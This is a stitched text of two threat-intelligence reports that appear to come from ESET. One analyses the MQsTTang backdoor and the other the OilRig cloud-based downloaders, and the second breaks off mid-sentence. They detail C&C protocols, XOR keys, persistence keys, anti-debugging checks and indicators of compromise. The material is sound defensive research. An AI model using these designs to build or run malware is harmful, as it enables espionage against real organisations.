87291b918218e01cac58ea55472d809d8cdd79266c372aebe9ee593c0f4e3b77 CVE-2023 38831 ZIP f5f269cf469bf9c9703fe0903cda100acbb4b3e13dbfef6b6ee87a907e5fcd1b Payload e34fc4910458e9378ea357baf045e9c0c21515a0b8818a5b36daceb2af464ea0 2a3da413f9f0554148469ea715f2776ab40e86925fb68cc6279ffc00f4f410dd 10/11 SHA256 Descriptio 0acd4a9ef18f3fd1ccf440879e768089d4dd2107e1ce19d2a17a59ebed8c7f5d 6f5f265110490158df91ca8ad429a96f8af69ca30b9e3b0d9c11d4fef74091e8 736c0128402d83cd3694a5f5bb02072d77385c587311274e3229e9b2fd5c5af7 Decoy 11/11 MQsTTang: Mustang Panda s latest backdoor treads new ground with Qt and MQTT welivesecurity.com/2023/03/02/mqsttang-mustang-panda-latest-backdoor-treads-new-ground-qt-mqtt March 2, 2023 ESET researchers have analyzed MQsTTang, a new custom backdoor that we attribute to the Mustang Panda APT group. This backdoor is part of an ongoing campaign that we can trace back to early January 2023. Unlike most of the group malware, MQsTTang doesn t seem to be based on existing families or publicly available projects. Mustang Panda is known for its customized Korplug variants (also dubbed PlugX) and elaborate loading chains. In a departure from the group s usual tactics, MQsTTang has only a single stage and doesn t use any obfuscation techniques. Victimology We have seen unknown entities in Bulgaria and Australia in our telemetry. We also have information indicating that this campaign is targeting a governmental institution in Taiwan. However, due to the nature of the decoy filenames used, we believe that political and governmental organizations in Europe and Asia are also being targeted. This would also be in line with the targeting of the group s other recent campaigns. As documented by fellow researchers at Proofpoint, Mustang Panda has been known to target European governmental entities since at least 2020 and has increased its activity in Europe even further, since Russia s invasion of Ukraine. Figure 1 shows our view of the targeting for this campaign. Figure 1. Map showing known and suspected targets of MQsTTang Attribution We attribute this new backdoor and the campaign to Mustang Panda with high confidence based on the following indicators. We found archives containing samples of MQsTTang in two GitHub repositories belonging to the user YanNaingOo0072022. Another GitHub repository of the same user was used in a previous Mustang Panda campaign described by Avast in a December 2022 blogpost. One of the servers used in the current campaign was running a publicly accessible anonymous FTP server that seems to be used to stage tools and payloads. In the /pub/god directory of this server there are multiple Korplug loaders, archives, and tools that were used in previous Mustang Panda campaigns. This is the same directory that was used by the stager described in the aforementioned Avast blogpost. This server also had a /pub/gd directory, which was another path used in that campaign. Some of the infrastructure used in this campaign also matches the network fingerprint of previously known Mustang Panda servers. Technical analysis MQsTTang is a barebones backdoor that allows the attacker to execute arbitrary commands on a victim s machine and get the output. Even so, it does present some interesting characteristics. Chief among these is its use of the MQTT protocol for C&C communication. MQTT is typically used for communication between IoT devices and controllers, and the protocol hasn t been used in many publicly documented malware families. One such example is Chrysaor, also known as Pegasus for Android. From an attacker s perspective, one of MQTT s benefits is that it hides the rest of their infrastructure behind a broker. Thus, the compromised machine never communicates directly with the C&C server. As seen in Figure 2, this capability is achieved by using the open source QMQTT library. This library depends on the Qt framework, a large part of which is statically linked in the malware. Using the Qt framework for malware development is also fairly uncommon. Lazarus s MagicRAT is one of the rare recently documented examples. Figure 2. RTTI showing classes from the QMQTT library MQsTTang is distributed in RAR archives which only contain a single executable. These executables usually have names related to Diplomacy and passports such as: CVs Amb Officer PASSPORT Ministry Of Foreign Affairs.exe Documents members of delegation diplomatic from Germany.Exe PDF_Passport and CVs of diplomatic members from Tokyo of JAPAN.eXE Note No.18-NG-23 from Embassy of Japan.exe These archives are hosted on a web server with no associated domain name. This fact, along with the filenames, leads us to believe that the malware is spread via spearphishing. So far, we have only observed a few samples. Besides variations in some constants and hardcoded strings, the samples are remarkably similar. The only notable change is the addition of some anti-analysis techniques in the latest versions. The first of these consists of using the CreateToolhelp32Snapshot Windows API function to iterate through running processes and look for the following known debuggers and monitoring tools. cheatengine-x86_64.exe ollydbg.exe ida.exe ida64.exe radare2.exe x64dbg.exe procmon.exe procmon64.exe procexp.exe processhacker.exe pestudio.exe systracerx32.exe fiddler.exe tcpview.exe Note that, while the malware is a 32-bit executable, it only checks for the presence of x64dbg and not its 32-bit counterpart, x32dbg. The second technique uses the FindWindowW Windows API to look for the following Window Classes and Titles used by known analysis tools: PROCMON_WINDOW_CLASS OLLYDBG WinDbgFrameClass OllyDbg [CPU] Immunity Debugger [CPU] When executed directly, the malware will launch a copy of itself with 1 as a command line argument. This is repeated by the new process, with the argument being incremented by 1 on every run. When this argument hits specific values, certain tasks will be executed. Note that the exact values vary between samples; the ones mentioned below correspond to the sample with SHA-1 02D95E0C369B08248BFFAAC8607BBA119D83B95B. However, the tasks themselves and the order in which they are executed is constant. Figure 3 shows an overview of this behavior along with the tasks that are executed when the malware is first run. Figure 3. Execution graph showing the subprocesses and executed tasks Table 1 contains a list of the tasks and the value at which each of them is executed. We will describe them in further detail in the upcoming paragraphs. Table 1. Tasks executed by the backdoor Task number Argument value Task description Start C&C communication. Create copy and launch. Create persistence copy. Establish persistence. Stop recursive execution. If any analysis tool or debugger is detected using the techniques we described previously, the behavior of task 1 is altered and tasks 2, 3, and 4 are skipped entirely. Task 1: C&C communication As was previously mentioned, MQsTTang communicates with its C&C server over the MQTT protocol. All observed samples use 3.228.54.173 as broker. This server is a public broker operated by EMQX, who also happen to be the maintainers of the QMQTT library. This could be a way to make the network traffic seem legitimate and to hide Mustang Panda s own infrastructure. Using this public broker also provides resiliency; the service is unlikely to be taken down because of its many legitimate users and, even if the current C&C servers are banned or taken down, Mustang Panda could spin up new ones and use the same MQTT topics without disrupting MQsTTang s operation. However, this campaign could also be a test case by Mustang Panda before deciding whether to invest the time and resources to set up their own broker. This is supported by the low number of samples we ve observed and the very simple nature of MQsTTang. As shown in Figure 4, the malware and C&C server use two MQTT topics for their communication. The first one, iot/server2, is used for communication from the client to the server. The second one is used for communication from the server to the client. It follows the format iot/v2/ where is generated by taking the last 8 bytes, in hex form, of a UUID. If any analysis tool is detected, server2 and v2 are respectively replaced with server0 and v0. This is likely in order to avoid tipping off defenders by entirely aborting the malware s execution early. Figure 4. Simplified network graph of the communication between the backdoor and C&C server All communication between the server and the client uses the same encoding scheme. The MQTT message s payload is a JSON object with a single attribute named msg. To generate the value of this attribute, the actual content is first base64 encoded, then XORed with the hardcoded string nasa, and base64 encoded again. We will describe the exact format of these payloads in the relevant sections. Upon first connecting to the broker, the malware subscribes to its unique topic. Then, and every 30 seconds thereafter, the client publishes a KeepAlive message to the server s topic. The content of this message is a JSON object with the following format: "Alive": "", "c_topic": "" When the server wants to issue a command, it publishes a message to the client s unique topic. The plaintext content of this message is simply the command to be executed. As shown in Figure 5, the client executes the received command using QProcess::startCommand from the Qt framework. The output, obtained using QProcess::readAllStandardOutput, is then sent back in a JSON object with the following format: "c_topic": "", "ret": "" Figure 5. Execution of received commands using the QProcess class Since only the content of standard output is sent back, the server will not receive errors or warnings. From the server s point of view, a failed command is thus indistinguishable from a command that simply produces no output unless some sort of redirection is performed. Tasks 2 and 3: Copying the malware The second and third tasks are fairly similar to each other. They copy the malware s executable to a hardcoded path; c:\users\public\vdump.exe and c:\users\public\vcall.exe respectively. The filenames used are different for each sample, but they are always located in the C:\users\public directory. In the second task, the newly created copy is then launched with the command line argument 97. Task 4: Establishing persistence Persistence is established by the fourth task, which creates a new value qvlc set to c:\users\public\vcall.exe under the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key. This will cause the malware to be executed on startup. When MQsTTang is executed on startup as c:\users\public\vcall.exe, only the C&C communication task is executed. Conclusion The Mustang Panda campaign described in this article is ongoing as of this writing. The victimology is unclear, but the decoy filenames are in line with the group s other campaigns that target European political entities. This new MQsTTang backdoor provides a kind of remote shell without any of the bells and whistles associated with the group s other malware families. However, it shows that Mustang Panda is exploring new technology stacks for its tools. It remains to be seen whether this backdoor will become a recurring part of the group s arsenal, but it is one more example of the group s fast development and deployment cycle. ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page. IoCs Files SHA-1 Filename Detection Description A1C660D31518C8AFAA6973714DE30F3D576B68FC CVs Amb.rar Win32/Agent.AFBI RAR archive used to distribute MQsTTang backdoor. SHA-1 Filename Detection Description 430C2EF474C7710345B410F49DF853BDEAFBDD78 CVs Amb Officer PASSPORT Ministry Of Foreign Affairs.exe Win32/Agent.AFBI MQsTTang backdoor. F1A8BF83A410B99EF0E7FDF7BA02B543B9F0E66C Documents.rar Win32/Agent.AFBI RAR archive used to distribute MQsTTang backdoor. 02D95E0C369B08248BFFAAC8607BBA119D83B95B PDF_Passport and CVs of diplomatic members from Tokyo of JAPAN.eXE Win32/Agent.AFBI MQsTTang backdoor. 0EA5D10399524C189A197A847B8108AA8070F1B1 Documents members of delegation diplomatic from Germany.Exe Win32/Agent.AFBI MQsTTang backdoor. 982CCAF1CB84F6E44E9296C7A1DDE2CE6A09D7BB Documents.rar Win32/Agent.AFBI RAR archive used to distribute MQsTTang backdoor. 740C8492DDA786E2231A46BFC422A2720DB0279A 23 from Embassy of Japan.exe Win32/Agent.AFBI MQsTTang backdoor. AB01E099872A094DC779890171A11764DE8B4360 BoomerangLib.dll Win32/Korplug.TH Known Mustang Panda Korplug loader. 61A2D34625706F17221C1110D36A435438BC0665 breakpad.dll Win32/Korplug.UB Known Mustang Panda Korplug loader. 30277F3284BCEEF0ADC5E9D45B66897FA8828BFD coreclr.dll Win32/Agent.ADMW Known Mustang Panda Korplug loader. BEE0B741142A9C392E05E0443AAE1FA41EF512D6 HPCustPartUI.dll Win32/Korplug.UB Known Mustang Panda Korplug loader. F6F3343F64536BF98DE7E287A7419352BF94EB93 HPCustPartUI.dll Win32/Korplug.UB Known Mustang Panda Korplug loader. F848C4F3B9D7F3FE1DB3847370F8EEFAA9BF60F1 libcef.dll Win32/Korplug.TX Known Mustang Panda Korplug loader. Network Domain Hosting provider First seen Details 3.228.54.173 broker.emqx.io Amazon.com, Inc. 2020-03-26 Legitimate public MQTT broker. 80.85.156[.]151 Chelyabinsk-Signal LLC 2023-01-05 MQsTTang delivery server. 80.85.157[.]3 Chelyabinsk-Signal LLC 2023-01-16 MQsTTang delivery server. 185.144.31[.]86 Abuse-C Role 2023-01-22 MQsTTang delivery server. Github repositories https://raw.githubusercontent[.]com/YanNaingOo0072022/14/main/Documents.rar https://raw.githubusercontent[.]com/YanNaingOo0072022/ee/main/CVs Amb.rar MITRE ATT&CK techniques This table was built using version 12 of the MITRE ATT&CK framework. Tactic Name Description Resource Development T1583.003 Acquire Infrastructure: Virtual Private Server Some servers used in the campaign are on shared hosting. T1583.004 Acquire Infrastructure: Server Some servers used in the campaign seem to be exclusive to Mustang Panda. T1587.001 Develop Capabilities: Malware MQsTTang is a custom backdoor, probably developed by Mustang Panda. T1588.002 Obtain Capabilities: Tool Multiple legitimate and open- source tools, including psexec, ps, curl, and plink, were found on the staging server. T1608.001 Stage Capabilities: Upload Malware MQsTTang was uploaded to the web server for distribution. T1608.002 Stage Capabilities: Upload Tool Multiple tools were uploaded to an FTP server. Initial Access T1566.002 Phishing: Spearphishing Link MQsTTang is distributed via spearphishing links to a malicious file on an attacker-controlled web server. Execution T1106 Native API MQsTTang uses the QProcess class from the Qt framework to execute commands. T1204.002 User Execution: Malicious File MQsTTang relies on the user to execute the downloaded malicious file. Persistence T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder MQsTTang persists by creating a registry Run key. Defense Evasion T1036.004 Masquerading: Masquerade Task or Service In most samples, the registry key is created with the name qvlc. This matches the name of a legitimate executable used by VLC. T1036.005 Masquerading: Match Legitimate Name or Location When creating copies, MQsTTang uses filenames of legitimate programs. T1480 Execution Guardrails MQsTTang checks the paths it is executed from to determine which tasks to execute. T1622 Debugger Evasion MQsTTang detects running debuggers and alters its behavior if any are found to be present. T1071 Application Layer Protocol MQsTTang communicates with its C&C server using the MQTT protocol. T1102.002 Web Service: Bidirectional Communication MQsTTang uses a legitimate public MQTT broker. T1132.001 Data Encoding: Standard Encoding The content of the messages between the malware and server is base64 encoded. T1573.001 Encrypted Channel: Symmetric Cryptography The content of the messages between the malware and server is encrypted using a repeating XOR key. T1041 Exfiltration Over C2 Channel The output of executed commands is sent back to the server using the same protocol. Command and Control Exfiltration 2 Mar 2023 - 11:30AM OilRig s persistent attacks using cloud service-powered downloaders welivesecurity.com/en/eset-research/oilrig-persistent-attacks-cloud-service-powered-downloaders ESET researchers analyzed a growing series of OilRig downloaders that the group has used in several campaigns throughout 2022, to maintain access to target organizations of special interest all located in Israel. These lightweight downloaders, which we named SampleCheck5000 (SC5k v1-v3), OilCheck, ODAgent, and OilBooster, are notable for using one of several legitimate cloud service APIs for C&C communication and data exfiltration: the Microsoft Graph OneDrive or Outlook APIs, and the Microsoft Office Exchange Web Services (EWS) API. In all cases, the downloaders use a shared (email or cloud storage) OilRig-operated account to exchange messages with the OilRig operators; the same account is typically shared by multiple victims. The downloaders access this account to download commands and additional payloads staged by the operators, and to upload command output and staged files. We discovered the earliest of the series, SC5k (v1) downloader, in November 2021, when it was used in OilRig s Outer Space campaign, documented in our recent blogpost. In the current blogpost, we focus on all of the SC5k successors that OilRig developed throughout 2022, with a new variation introduced every few months; we will also take a closer look at the mechanisms employed by these downloaders. We also compare these downloaders to other OilRig backdoors that use email-based C&C protocols, and that were reported earlier this year by Trend Micro (MrPerfectionManager) and Symantec (PowerExchange). Finally, this blogpost also expands on our LABScon 2023 presentation, where we drilled down into how OilRig keeps access to selected Israeli organizations: all of the downloaders studied in this blogpost were deployed in networks that were previously affected by multiple OilRig tools, which underlines the fact that OilRig is persistent in targeting the same organizations, and determined to keep its foothold in compromised networks. Key points of this blogpost: OilRig actively developed and used a series of downloaders with a similar logic throughout 2022: three new downloaders ODAgent, OilCheck, OilBooster and newer versions of the SC5k downloader. The downloaders use various legitimate cloud service APIs for C&C communication and data exfiltration: Microsoft Graph OneDrive API, Microsoft Graph Outlook API, and Microsoft Office EWS API. Targets, all in Israel, included an organization in the healthcare sector, a manufacturing company, a local governmental organization, and other organizations. All targets were previously affected by multiple OilRig campaigns. Attribution OilRig, also known as APT34, Lyceum, Crambus, or Siamesekitten, is a cyberespionage group that has been active since at least 2014 and is commonly believed to be based in Iran. The group targets Middle Eastern governments and a variety of business verticals, including chemical, energy, financial, and telecommunications. OilRig carried out the DNSpionage campaign in 2018 and 2019, which targeted victims in Lebanon and the United Arab Emirates. In 2019 and 2020, OilRig continued its attacks with the HardPass campaign, which used LinkedIn to target Middle Eastern victims in the energy and government sectors. In 2021, OilRig updated its DanBot backdoor and began deploying the Shark, Milan, and Marlin backdoors, as mentioned in the T3 2021 issue of the ESET Threat Report. In 2022 and 2023, the group carried out several attacks against local government entities and healthcare organizations in Israel, using its new backdoors Solar and Mango. In 2023, OilRig targeted organizations in the Middle East with the PowerExchange and MrPerfectionManager backdoors, and related tools to harvest internal mailbox account credentials and then to leverage these accounts for exfiltration. We attribute SC5k (v1-v3), ODAgent, OilCheck, and OilBooster downloaders to OilRig with a high level of confidence, based on these indicators: Targets: These downloaders were deployed exclusively against Israeli organizations, which aligns with typical OilRig targeting. The observed verticals of the victims also align with OilRig s interests for example, we have seen OilRig previously targeting the Israeli healthcare sector, as well as the local government sector in Israel. 1/16 Code similarities: The SC5k v2 and v3 downloaders evolved naturally from the initial version, which was previously used in an OilRig Outer Space campaign. ODAgent, OilCheck and OilBooster share similar logic, and all use various cloud service providers for their C&C communications, as do SC5k, Marlin, PowerExchange, and MrPerfectionManager. While not unique to OilRig, these downloaders have a low level of sophistication and are often unnecessarily noisy on the system, which is a practice we previously observed in its Out to Sea campaign. Overview In February 2022, we detected a new OilRig downloader, which we named ODAgent based on its filename: ODAgent.exe. ODAgent is a C#/.NET downloader that, similar to OilRig s Marlin backdoor, uses the Microsoft OneDrive API for C&C communications. Unlike Marlin, which supports a comprehensive list of backdoor commands, ODAgent s narrow capabilities are limited to downloading and executing payloads, and to exfiltrating staged files. ODAgent was detected in the network of a manufacturing company in Israel interestingly, the same organization was previously affected by OilRig s SC5k downloader, and later by another new downloader, OilCheck, between April and June 2022. SC5k and OilCheck have similar capabilities to ODAgent, but use cloud-based email services for their C&C communications. Throughout 2022, we observed the same pattern being repeated on multiple occasions, with new downloaders being deployed in the networks of previous OilRig targets: for example, between June and August 2022, we detected the OilBooster, SC5k v1, and SC5k v2 downloaders and the Shark backdoor, all in the network of a local governmental organization in Israel. Later we detected yet another SC5k version (v3), in the network of an Israeli healthcare organization, also a previous OilRig victim. SC5k is a C#/.NET application whose purpose is to download and execute additional OilRig tools using the Office Exchange Web Services (EWS) API. The new versions introduced changes to make retrieval and analysis of the malicious payloads harder for analysts (SC5k v2), and new exfiltration functionality (SC5k v3). All the downloaders, summarized in Figure 1, share a similar logic but have different implementations and show growing complexity over time, alternating C#/.NET binaries with C/C++ applications, varying the cloud service providers misused for the C&C communication, and other specifics. Figure 1. Timeline of OilRig s downloaders OilRig has only used these downloaders against a limited number of targets, all located in Israel and, according to ESET telemetry, all of them were persistently targeted months earlier by other OilRig tools. As it is common for organizations to access Office 365 resources, OilRig s cloud service-powered downloaders can thus blend more easily into the regular stream of network traffic apparently also the reason why the attackers chose to deploy these downloaders to a small group of especially interesting, repeatedly victimized targets. As of this writing, the following (exclusively Israeli, as noted above) organizations were affected: a manufacturing company (SC5k v1, ODAgent, and OilCheck), a local governmental organization (SC5k v1, OilBooster, and SC5k v2), a healthcare organization (SC5k v3), and other unidentified organizations in Israel (SC5k v1). 2/16 Unfortunately, we don t have information about the initial attack vector used to compromise the targets discussed in this blogpost we can t confirm whether the attackers have been able to successfully compromise the same organizations repeatedly, or if they somehow managed to keep their foothold in the network in between deploying various tools. Technical analysis In this section, we provide a technical analysis of OilRig s downloaders used throughout 2022, with the details of how they abuse various cloud storage services and cloud-based email providers for their C&C communications. All of these downloaders follow a similar logic: They use a shared (email or cloud storage) account to exchange messages with the OilRig operators; the same account can be used against multiple victims. They access this account to download commands and additional payloads staged by the operators, and to upload command output and staged files. In our analysis, we focus on these characteristics of the downloaders: Specifics of the network communication protocol (e.g., Microsoft Graph API vs. Microsoft Office EWS API). The mechanism used to distinguish between different attacker-staged and downloader-uploaded messages in the shared account, including the mechanism to distinguish between messages uploaded from various victims. Specifics of how the downloaders process commands and payloads are downloaded from the shared account. Table 1 summarizes and compares how the individual downloaders implement these characteristics; we then analyze the first (SC5k) and the most complex (OilBooster) downloaders in detail as examples of tools abusing cloud-based email services and cloud storage services, respectively. Table 1. A summary of main characteristics of OilRig s downloaders abusing legitimate cloud service providers Mechanism SC5k v1 SC5k v2 SC5k v3 OilCheck OilBooster ODAgent protocol A shared Microsoft Exchange email account, C&C communication embedded in draft messages. A shared OneDrive account; files with various extensions to distinguish action types. Network communica tions Microsoft Office EWS API Microsoft Graph (Outlook) Microsoft Graph (OneDrive) API. Victim identification mechanism The sg extended property of the email draft is set . unknown extended email property is set to . From field has the username portion of the email address set to . The zigorat extended property of the email draft is set . All communication for, and from, the specific victim is uploaded to a victimspecific subdirectory named . Keep-alive message The type extended property of the email draft is set to 3; the current GMT time is in the email body. unknown extended property of the email draft is set to 0; the email body is empty. The From field of the email draft is set to @yahoo.com; the current GMT time is in the email body. The type extended property of the email draft is set to 3; the current GMT time is in the email body. A file named /setting.ini. A file named /info.ini. 3/16 Mechanism SC5k v1 SC5k v2 SC5k v3 OilCheck OilBooster ODAgent File for download The type extended property of the email draft is set to 1; the attached file has any extension other than .json. unknown extended property of the email draft is set to 1; the attached file has any extension other than .bin. The From field of the email draft is set to @outlook.com, with the message category set to file. The type extended property of the email draft is set to 1; the attached file has a .biz extension. A file with a .docx extension in the /items subdirectory. A non-JSON file in the /o subdirectory. Exfiltrated file The type extended property of the email draft is set to 2; the attached file has the .tmp1 extension. unknown extended property of the email draft is set to 2; the attached file has a .tmp extension. The From field of the email draft is set to @aol.com, with the file category. The type extended property of the email draft is set to 2; the attached file has a .biz extension. A file with a .xlsx extension in the /items subdirectory. A non-JSON file in the /i subdirectory. Command execution The type extended property of the email draft is set to 1; the attached file has a .json extension. unknown extended property of the email draft is set to 1; the attached file has a .bin extension. The From field of the email draft is set to @outlook.com, without the file category. The type extended property of the email draft is set to 1; the attached file has any extension other than .biz. A file with a .doc extension in the /items subdirectory. A JSON file in the /o subdirectory. Command output The type extended property of the email draft is set to 2; the attached file has a .json extension. unknown extended property of the email draft is set to 2; the attached file has a .bin extension. The From field of the email draft is set to @aol.com, with the text category. The type extended property of the email draft is set to 2. A file with a .xls extension in the /items subdirectory. A JSON file in the /i subdirectory. SC5k downloader The SampleCheck5000 (or SC5k) downloader is a C#/.NET application, and the first in a series of OilRig s lightweight downloaders that use legitimate cloud services for their C&C communication. We briefly documented the first variant in our recent blogpost, and have since discovered two newer variants. All SC5k variants use the Microsoft Office EWS API to interact with a shared Exchange mail account, as a way to download additional payloads and commands, and to upload data. Email drafts and their attachments are the primary vehicle for the C&C traffic in all the versions of this downloader, but the later versions increase the complexity of this C&C protocol (SC5k v3) and add detection evasion capabilities (SC5k v2). This section focuses on highlighting these differences. Exchange account used for C&C communication At runtime, SC5k connects to a remote Exchange server via the EWS API to obtain additional payloads and commands to execute from an email account shared with the attacker (and usually other victims). By default, a Microsoft Office 365 Outlook account is accessed via the https://outlook.office365.com/EWS/Exchange.asmx URL using hardcoded credentials, but some SC5k versions 4/16 also have the capability to connect to other remote Exchange servers when a configuration file is present with a hardcoded name (setting.key, set.idl) and the corresponding credentials inside. We have seen the following email addresses used by SC5k versions for C&C communication, the first of which gave the downloader its name: samplecheck5000@outlook.com FrancesLPierce@outlook.com SandraRCharles@outlook.com In SC5k v2, the default Microsoft Exchange URL, email address, and password are not included in the main module instead, the downloader s code has been split into multiple modules. We have detected only variations of the main application, which logs into a remote Exchange server, iterates through emails in the Drafts directory, and extracts additional payloads from their attachments. However, this application depends on two external classes that were not present in the detected samples and are probably implemented in the missing module(s): The class init should provide an interface to obtain the email address, username, and password required to log into the remote Exchange account, and other configuration values from the other module. The class structure should implement functions used for encryption, compression, executing downloaded payloads, and other helper functions. These changes were likely introduced to make retrieval and analysis of the malicious payloads harder for analysts, as the two missing classes are crucial for identifying the Exchange account used for malware distribution. C&C and exfiltration protocol In all versions, the SC5k downloader repeatedly logs into a remote Exchange server using the ExchangeService .NET class in the Microsoft.Exchange.WebServices.Data namespace to interact with the EWS API. Once connected, SC5k reads email messages with attachments in the Drafts directory to extract attacker commands and additional payloads. Conversely, in each connection, SC5k exfiltrates files from a local staging directory by creating new email drafts in the same email account. The path to the staging directory varies across samples. Of interest is the way both the operators and various instances of this downloader can distinguish between the different types of drafts in the shared email account. For one, each email draft has a incorporated, which allows the same Exchange account to be used for multiple OilRig victims: For v1 and v2, the downloader transmits the as a custom attribute of the email draft via the SetExtendedProperty method. For v3, the downloader incorporates the into the From field of the email draft. The is typically generated using the compromised system s information, such as the system volume ID or the computer name, as shown in Figure 2. Figure 2. SC5k v3 calculates a from the compromised computer s name Furthermore, various email properties can be used to distinguish between messages created by the operators (commands, additional payloads) and messages created by the malware instances (command outputs, exfiltrated files). SC5k v1 and v2 use file extensions (of the draft attachments) to make that distinction, while SC5k v3 uses the From and MailItem.Categories fields of the email draft to distinguish between various actions. At each point, the email drafts in the shared email account can serve various purposes, as summarized in Table 2 and explained below. Note that the email addresses used in the From field are not genuine; because SC5k never sends out any actual email messages, these attributes are only used to distinguish between different malicious actions. Table 2. Types of email messages used by SC5k v3 for C&C communications From MailItem.Categories Created by Details @yahoo.com SC5k v3 instance Created to register the victim with the C&C server, and renewed periodically to indicate that the malware is still active. 5/16 From MailItem.Categories Created by Details @outlook.com file C&C server Attached file is decrypted, decompressed, and dumped on the victim s computer. @outlook.com Other than file C&C server Attached command is decrypted, decompressed, then passed as an argument to a file already present on the compromised machine, presumably a command interpreter. @aol.com file SC5k v3 instance Created to exfiltrate a file from a staging directory. @aol.com text SC5k v3 instance Created to send command output to the C&C server. More specifically, SC5k v3 processes (and then deletes) those email messages from the shared Exchange account that have the From field set to @outlook.com, and distinguishes between commands and additional payloads by the message category (MailItem.Categories): For payloads, the attached file is XOR decrypted using the hardcoded key &5z, then gzip decompressed and dumped in the working directory. For shell commands, the draft attachment is base64 decoded, XOR decrypted, and then executed locally using cmd.exe or, in the case of SC5k v3, using a custom command interpreter located under the name \*Ext.dll. This file is then loaded via Assembly.LoadFrom, and its extend method invoked with the command passed as an argument. To communicate with the attackers, SC5k v3 creates draft messages with a different From field: @aol.com. Attached to these messages are outputs of previously received commands, or contents of the local staging directory. Files are always gzip compressed and XOR encrypted before being uploaded to the shared mailbox, while shell commands and command outputs are XOR encrypted and base64 encoded. Finally, SC5k v3 repeatedly creates a new draft on the shared Exchange account with the From field set to @yahoo.com, to indicate to the attackers that this downloader instance is still active. This keep-alive message, whose construction is shown in Figure 3, has no attachment and is renewed with each connection to the remote Exchange server. Figure 3. Keep-alive functionality implemented by the SC5k v3 downloader Other OilRig tools using email-based C&C protocol Besides SC5k, other notable OilRig tools have been discovered subsequently (in 2022 and 2023) that abuse APIs of legitimate cloud-based email services for exfiltration and both directions of their C&C communication. OilCheck, a C#/.NET downloader discovered in April 2022, also uses draft messages created in a shared email account for both directions of the C&C communication. Unlike SC5k, OilCheck uses the REST-based Microsoft Graph API to access a shared Microsoft Office 365 Outlook email account, not the SOAP-based Microsoft Office EWS API. While SC5k uses the built-in ExchangeService .NET class to create the API requests transparently, OilCheck builds the API requests manually. The main characteristics of OilCheck are summarized in Table 1 above. Earlier in 2023, two other OilRig backdoors were publicly documented: MrPerfectionManager (Trend Micro, February 2023) and PowerExchange (Symantec, October 2023), both using email-based C&C protocols to exfiltrate data. A notable difference between these tools and OilRig s downloaders studied in this blogpost is that the former use the victimized organization s Exchange server to transmit email messages from and to the attacker s email account. In contrast: with SC5k and OilCheck, both the malware and the operator accessed the same Exchange account and communicated by creating email drafts, never sending an actual message. 6/16 In any case, the new findings confirm the trend of OilRig shifting away from the previously used HTTP/DNS-based protocols to using legitimate cloud service providers as a way to hide its malicious communication and to mask the group s network infrastructure, while still experimenting with various flavors of such alternative protocols. OilBooster downloader OilBooster is a 64-bit portable executable (PE) written in Microsoft Visual C/C++ with statically linked OpenSSL and Boost libraries (hence the name). Like OilCheck, it uses the Microsoft Graph API to connect to a Microsoft Office 365 account. Unlike OilCheck, it uses this API to interact with a OneDrive (not Outlook) account controlled by the attackers for C&C communication and exfiltration. OilBooster can download files from the remote server, execute files and shell commands, and exfiltrate the results. Overview Upon execution, OilBooster hides its console window (via the ShowWindow API) and verifies that it was executed with a command line argument; otherwise it terminates immediately. OilBooster then builds a by combining the compromised computer s hostname and username: . This identifier is later used in the C&C communication: OilBooster creates a specific subdirectory on the shared OneDrive account for each victim, which is then used to store backdoor commands and additional payloads (uploaded by the operators), command results, and exfiltrated data (uploaded by the malware). This way, the same OneDrive account can be shared by multiple victims. Figure 4 shows the structure of the shared OneDrive account and the local working directory, and summarizes the C&C protocol. Figure 4. Overview of OilBooster s C&C communication protocol using a shared OneDrive account As shown in Figure 4, the OilRig operator uploads backdoor commands and additional payloads to the victim-specific directory on OneDrive, as files with the .doc and .docx extensions, respectively. On the other end of the C&C protocol, OilBooster uploads command results and exfiltrated data as files with the .xls and .xlsx extensions, respectively. Note that these are not genuine Microsoft Office files, but rather JSON files with XOR-encrypted and base64-encoded values. Figure 5 shows OilBooster spawning instances of two threads in an indefinite loop, sleeping for 153,123 milliseconds after each iteration: 7/16 Figure 5. OilBooster s main function Both threads interact with the shared OneDrive account: 1. A downloader thread handles C&C communication and executes downloaded payloads. 2. An exfiltration thread exfiltrates data from the local staging directory. The downloader thread connects to the attacker-controlled OneDrive account and iterates through all files with the .doc and .docx extensions, which are then downloaded, decrypted, and parsed in order to extract and execute additional payloads on the compromised host. A local subdirectory named items in the current working directory (where OilBooster is deployed) is used to store the downloaded files. As shown in Figure 6, each connection attempt is handled in a separate thread instance, launched once every 53,123 milliseconds. The exfiltration thread iterates over another local subdirectory, named tempFiles, and exfiltrates its contents to the shared OneDrive account, which are uploaded there as individual files with the .xlsx extension. The staging directory is cleared this way once every 43,123 milliseconds in a separate thread instance, as also seen in Figure 6. Figure 6. Each iteration of the downloader and exfiltration loops is spawned in a new thread Network communication For C&C communication and exfiltration, OilBooster uses the Microsoft Graph API to access the shared OneDrive account, using a variety of HTTP GET, POST, PUT, and DELETE requests to the graph.microsoft.com host over the standard 443 port. For brevity, we will also refer to these requests as OneDrive API requests. The encrypted communication is facilitated by the statically linked 8/16 OpenSSL library, which handles the SSL communication. To authenticate with the OneDrive account, OilBooster first obtains the OAuth2 access token from the Microsoft identity platform (the authorization server) by sending a POST request with the following body over port 443 to login.microsoftonline.com/common/oauth2/v2.0/token, using hardcoded credentials: client_id=860b23a7-d484-481d-9fea-d3e6e129e249 &redirect_uri=https://login.live.com/oauth20_desktop.srf &client_secret= &refresh_token= &grant_type=refresh_token OilBooster obtains a new access token this way, which will be used in the Authorization header of the subsequent OneDrive API requests, along with a new refresh token. OilBooster also has a backup channel to request a new refresh token from its C&C server after 10 consecutive unsuccessful connections to the OneDrive server. As shown in Figure 7, the new token can be acquired by sending a simple HTTP GET request on port 80 to host1[.]com/rt.ovf (a legitimate, likely compromised website), which should be followed by the new refresh token in cleartext in the HTTP response. Figure 7. OilBooster can request a new refresh token from its fallback C&C server after 10 unsuccessful connection attempts to the abused OneDrive account The various network connections made by OilBooster are summarized in Figure 8. Figure 8. Overview of OilBooster s network communications Downloader loop 9/16 In the downloader loop, OilBooster repeatedly connects to the shared OneDrive account to obtain a list of files with the .docx and .doc extensions in the victim-specific subdirectory named /items/ by sending an HTTP GET request over port 443 to this URL: graph.microsoft.com/v1.0/me/drive/root://items:/children? $filter=endsWith(name,'.doc')%20or%20endsWith(name,'.docx')&$select=id,name,file If the connection is not successful (the HTTP_STATUS_DENIED response status) after 10 attempts, OilBooster connects to its fallback 